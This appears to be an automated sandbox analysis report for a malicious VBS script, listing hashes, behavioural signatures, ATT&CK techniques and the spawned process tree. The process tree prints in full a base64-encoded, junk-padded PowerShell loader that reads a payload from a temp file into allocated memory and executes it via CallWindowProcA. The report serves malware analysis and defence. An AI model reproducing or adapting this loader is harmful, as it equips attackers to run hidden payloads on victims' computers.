Analysis

  • max time kernel
    9s
  • max time network
    12s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    31-01-2022 12:12

General

  • Target

    file8939928_89388.vbs

  • Size

    162KB

  • MD5

    b889242d05699b592a96112125919adf

  • SHA1

    3d01fafa08dfdc3c3ad167f2a1c0cee1ac42f64a

  • SHA256

    f492e41de8e486bc3ee6e597232d0b80332252a2ccc24e33604836d6b1e3235c

  • SHA512

    0707c415f61e5cf581ad7b3dccddb8152ddde59b070a418817ce1201a2b48bfe5f19b192e1ec05d86c3bc55b21e663bd272a15830fb179ab1747fa9cafe20327

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file8939928_89388.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAG4AZABlAGwAMQAgAFMAYwByAGkAbQBzAGgAYQAgAG0AYQBjAHIAbwAgAEMAZQBuAHQAZQByACAARABpAHMAcwBvAGMAaQAgAGYAcgBlAG0AcwBwAHIAIABUAGUAdAByACAAVAB1AHIAZQBzAGEAYwByADcAIABIAHkAcABvAHAAMQAgAFQAUgBBAE4AUwAgAHMAeQBtAG0AZQB0AHIAaQAgAFMAVABFAEcATgBJACAAQQBGAE0AQQBUACAAUABpAGMAYwAgAEgAZABiAGsAZgBlAHMANAAgAHMAYQBzAGkAYQAgAE0AYQBuAGkAcAB1AGwAIABJAG4AZAB1AHMAIABzAHUAYgBzACAARgB1AHQAdABvAGcAZQBzAHUAbgA4ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABCAEUAVgBBADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABCAEUAVgBBADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAE8AVQBUAEgAWQBQAEUAUgAsAGkAbgB0ACAAVABlAHIAcgBpADUALAByAGUAZgAgAEkAbgB0ADMAMgAgAEIARQBWAEEALABpAG4AdAAgAFIAZQBmAGkAZwBlADcALABpAG4AdAAgAEIARQBWAEEANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABUAEgAQQBMAEEATQBJAFUATQAsAHUAaQBuAHQAIABnAGUAbQBtACwAaQBuAHQAIABSAGUAdAB0AGkALABpAG4AdAAgAEIARQBWAEEAMAAsAGkAbgB0ACAARgBVAE0ATAAsAGkAbgB0ACAAZAByAGEAZwBzAGgALABpAG4AdAAgAGcAbwB1AHIAbQBlACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAFQAZQByAHIAaQA1ADAALAB1AGkAbgB0ACAAVABlAHIAcgBpADUAMQAsAEkAbgB0AFAAdAByACAAVABlAHIAcgBpADUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABlAHIAcgBpADUAMwAsAGkAbgB0ACAAVABlAHIAcgBpADUANAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoAEkAbgB0AFAAdAByACAAVABlAHIAcgBpADUANQAsAGkAbgB0ACAAVABlAHIAcgBpADUANgAsAGkAbgB0ACAAVABlAHIAcgBpADUANwAsAGkAbgB0ACAAVABlAHIAcgBpADUAOAAsAGkAbgB0ACAAVABlAHIAcgBpADUAOQApADsADQAKAH0ADQAKACIAQAANAAoAIwBzAHUAYgBjAG8AIABCAEUAQgBPACAAVQBOAFMAVABSACAAVQBuAGgAaQBlAHIAYQA5ACAAUABSAEUASABJAFMAIABFAE0AQQBOAFUARQBMACAARQBzAGMAaABhAGwAbwB0AHAAaQAyACAASwByAHkAZABzAGUAcgBzAHcAYQAyACAAQgBvAGMAawBlAHIAZQBsAHQAIABCAHIAYQBuAGQAIABpAG4AZAByAHkAawBrAGUAIABTAFUAUABFAFIAQwAgAFUATgBEAEUAUgBQAFIAIABLAGEAaAB5ADQAIABSAEEASQBMAEwASQBLAEUAQQBQACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAEsATwBMAEUAVQBOAEQARQBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE8AdgBlAHIANQAiACAADQAKACQAQgBFAFYAQQAzAD0AMAA7AA0ACgAkAEIARQBWAEEAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABCAEUAVgBBADgAPQBbAEIARQBWAEEAMQBdADoAOgBOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKAAtADEALABbAHIAZQBmAF0AJABCAEUAVgBBADMALAAwACwAWwByAGUAZgBdACQAQgBFAFYAQQA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAVwBoAGkAZwBnAGkAIABuAG8AbgBzAHUAYgBsAGkAIABBAGQAbQBpAHIAYQBiACAAUwB2AGEAbgBnAHIAZQBoADMAIABWAGEAYQBuADkAIABzAGEAdQB0AGUAcgAgAHAAcgBlAG0AYQBuACAASQBOAEMASABFAFMAIABhAGYAcgBlAGcAbgBpAG4AIABQAGEAbABsAGUAdAB0AGUAZQBuADEAIABlAHYAYQBsAHUAZQByACAARABhAHQAYQBlAGwAZQBtAGUAbgA5ACAAVQBnAHkAbABkAGkAZwBlACAAVQBwAHQAcgBpAGwAbAAgAGMAdQByAHUAcABhACAAQgBFAFIASQBCAEIAIABMAEkARABFACAARABlAG0AdQBsACAAVQBuAHAAcgBvAGgAIABEAEUAUABSAEEAVgBFACAAVQBuAHAAbAAgAHIAZQBuAGUAZwBvACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAG8AbAB1AG4AdABhADcAIgAgAA0ACgAkAEIARQBWAEEAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwASQBuAGQAZABhAHQANwAuAGQAYQB0ACIADQAKACMAaQBuAGMAbwBtAHAAbABpAGEAbgAgAEYAUgBFAEUAVwBBAFIARQBNAEEAIABEAGUAcwB1AGwAcABoAHUAcgAgAGMAcgBvAHMAcwBsACAAYgBvAHAAYQBlAGwAYgBoAG0AYQAgAEQAbwBtAGkAbgBpAG8AbgBtACAAUwB1AHoAeQBjACAAVQBuAGQAZQAyACAAawB2AGsAZQByAGgAbwAgAEYAbwByAG0AIABvAGwAZAB0AGkAZAAgAFIAZQB0AGEAbABsAGkAMwAgAA0ACgAkAEIARQBWAEEANAA9AFsAQgBFAFYAQQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAQgBFAFYAQQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEQAdwBhAHIAZgAgAEsAYQB0AHQAZQB0AHUAbgBnAGUANgAgAFMAbwBsAGQAaQBlAHIAIABTAGkAcgBwAGwAMQAgAGIAaQBsAGwAZQBkAG0AIABOAG8AbgBhAGIAIABBAEsAVABGAFIAVQBTAFQAUgBBACAAUwBuAGsAbgAgAGgAZQBwAGEAdABvAGQAeQBzACAARgBhAGQAZQBiAHUAcgA1ACAARABBAE0AUABNAEEAUwAgAFMAZABpAGcAaAAgAHEAdQBhAGQAcgAgAE8AUABSAEUAIABsAGkAbgBrACAATABBAFUAUgBFAEwAIABzAHAAcgBpAHQAcwBtAHUAIABCAG8AcgB0ACAAQgBvAG4AdQBzAHMAIABTAGsAZQBsAGUAdABzAGsAZQAgAFQATwBSAEUAQQBEACAAQwBIAEkATQBBAEUAUgAgAGYAbwByAG0AZQByAGkAIABVAEIARQBTAFIARwBFAFQATwBFACAAUgBPAFMASQBOAEcASwAgAGEAcwBzAHUAbQBlAGQAaQBuACAAUwB0AHIAYQBuADYAIABUAGUAbABlAGYANwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwB1AGIAcwB0AHIAdQBjAHQANQAiACAADQAKACQAQgBFAFYAQQA1AD0AMAA7AA0ACgAjAFMAbwBnAGQAaQAgAGsAZQBqAHMAZQByAGwAaQBnACAAQQBjAGMAbABpAG0AYQB0AGkAMgAgAFAAQQBDAEkARgBJACAATQBhAGoAcwBhAHAAYQBsAGEAIABHAEwAQQBDAEkAIABFAGYAdABlAHIAYQBhAHIAcwBiADIAIABTAG0AcgBlACAASQBsAGwAdQBzAHQAcgBhAHQAaQAgAFMAdQBiAHQAcgBhADYAIABTAGEAZwB0AG4AZQBuAGQANAAgAE0AaQBsAGoAYgBlAHMAawB5ACAAQwBhAHMAcwBlAHIAbwBsAGUAcwAgAGQAcgBvAHAAcABlAHIAcwAgAGIAYQBzAHUAbgBpAHMAdAAgAEQAbwB0AGEAcgBkAGwAeQBnAHIAMwAgAHUAbgBkAGUAcgBzAGwAIABTAHAAaQBsAGQAZQB2AGEAbgAgAHMAcABhAG4AZQAgAE0AdQBjAG8AcAByACAAYwBoAGUAbQBvAGEAdQB0AG8AIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAYQBtAHIAZQBuADMAIgAgAA0ACgBbAEIARQBWAEEAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAEIARQBWAEEANAAsACQAQgBFAFYAQQAzACwANgAwADgAMAA2ACwAWwByAGUAZgBdACQAQgBFAFYAQQA1ACwAMAApAA0ACgAjAFQAaQBtAGUAcwBoAGEAcgBlAHMANgAgAGgAYQBuAGQAZQBsAHMAZgB5ACAAUwBjAG8AdABjADYAIABPAHAAcwB0AGEAbgBkAHIAIABnAHIAdQBzAHYAcgBrAGUAIABtAGUAbgBzAHUAIABmAG8AcgBzAHQAdABlAHIAIABTAHQAZQBtAHAANAAgAG0AaQBkAGQAZQBsAGgAagBkACAAdABlAGcAbgB0AGEAZQB0AGgAIABoAGEAcgBkAHcAaQByACAAUwBqAG8AdgBlAHIAcwBuAGUAbwAgAGEAZABtAGEAbgBlAHUAawAgAHQAagBhAHQAdAAgAGcAcgBhAHYAcwB0AG4AIABTAFUAQgBEAEkAQQAgAEMAbwBkAGkAZgB5AGkAbgBnADcAIABBAG4AbABnAHMAYQByAGIAIABUAEgATwBSAEEATABOAFUAIABKAGEAcwB0AGUAbQBtACAAQgBhAGwAbABhAGQAZQBtAGEANAAgAFUAbQBiAG8AbgB1ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAFkATgBVAE4ARABFAFIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQwBIAEEAUABUAEEATABJAFMARQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBzAGsAYQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBoAGEAcgBlAGgAbwBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFYAQQBOAEQARgBPAFIAUwBZACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAYQByAG4AZQBzAGQAZQByAG4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAdAByAGgAdgBlAHAAcwBlACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGcAdQBsAHMAbwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcgBlAG4AdAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBjAHUAdABpAGMAbABlAHcAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASQBuAGYAbwByAG0AYQB0AGkAbwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAE8ATgBDAE8AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASQBOAFMAVABJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAdQBtAG0AZQBsAGkAZwBzADUAIgAgAA0ACgBbAEIARQBWAEEAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAQgBFAFYAQQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
      2⤵
        PID:1236

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads